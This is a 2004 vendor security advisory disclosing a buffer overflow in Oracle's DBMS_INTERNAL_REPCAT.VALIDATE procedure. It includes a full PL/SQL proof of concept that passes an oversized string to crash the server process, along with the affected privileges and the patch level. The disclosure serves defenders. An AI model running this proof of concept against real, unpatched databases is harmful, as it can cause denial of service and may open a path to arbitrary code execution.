Application Security, Inc.
home client login partner login online store contact us
search:
Solutions Products Partners Support News & Events About Us

Team SHATTER Security Alert

#35 - Buffer overflow in procedure VALIDATE of DBMS_INTERNAL_REPCAT package

August 31, 2004

Credit: These vulnerabilities were researched and discovered by Esteban Martínez Fayó of Application Security, Inc.

Risk level: Medium

Details:
When VALIDATE procedure is called with a long string in the GNAME parameter a buffer overflow occurs.

To reproduce the overflow, execute the next PL/SQL:

DECLARE
RET_VALUE_X123 BINARY_INTEGER;
P_GNAME VARCHAR2(32767);
P_CHECK_GENFLAGS BOOLEAN;
P_CHECK_VALID_OBJS BOOLEAN;
P_CHECK_LINKS_SCHED BOOLEAN;
P_CHECK_LINKS BOOLEAN;
P_ERROR_MSG_ID NUMBER;
P_ERROR_NUM_ID NUMBER;
AAA VARCHAR2(32767);
BEGIN
AAA:='A';
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA || AAA;
P_GNAME := AAA;
P_CHECK_GENFLAGS := FALSE;
P_CHECK_VALID_OBJS := FALSE;
P_CHECK_LINKS_SCHED := FALSE;
P_CHECK_LINKS := FALSE;
P_ERROR_MSG_ID := 1;
P_ERROR_NUM_ID := 1;
RET_VALUE_X123 := SYS.DBMS_INTERNAL_REPCAT.VALIDATE(GNAME => P_GNAME, CHECK_GENFLAGS => P_CHECK_GENFLAGS, CHECK_VALID_OBJS =>
P_CHECK_VALID_OBJS, CHECK_LINKS_SCHED => P_CHECK_LINKS_SCHED, CHECK_LINKS => P_CHECK_LINKS, ERROR_MSG_ID => P_ERROR_MSG_ID, ERROR_NUM_ID =>
P_ERROR_NUM_ID);
END;

Analysis:
This vulnerability can be exploited by members of EXECUTE_CATALOG_ROLE or SYSDBA role and users granted execute permissions on DBMS_INTERNAL_REPCAT package.
Exploitation of this vulnerability allows an attacker to execute arbitrary code. It can also be exploited to cause DOS (Denial of service) killing Oracle server process.

Vendor Fix:
Fixed in Patchset 4 (9.2.0.5). 10g Not vulnerable.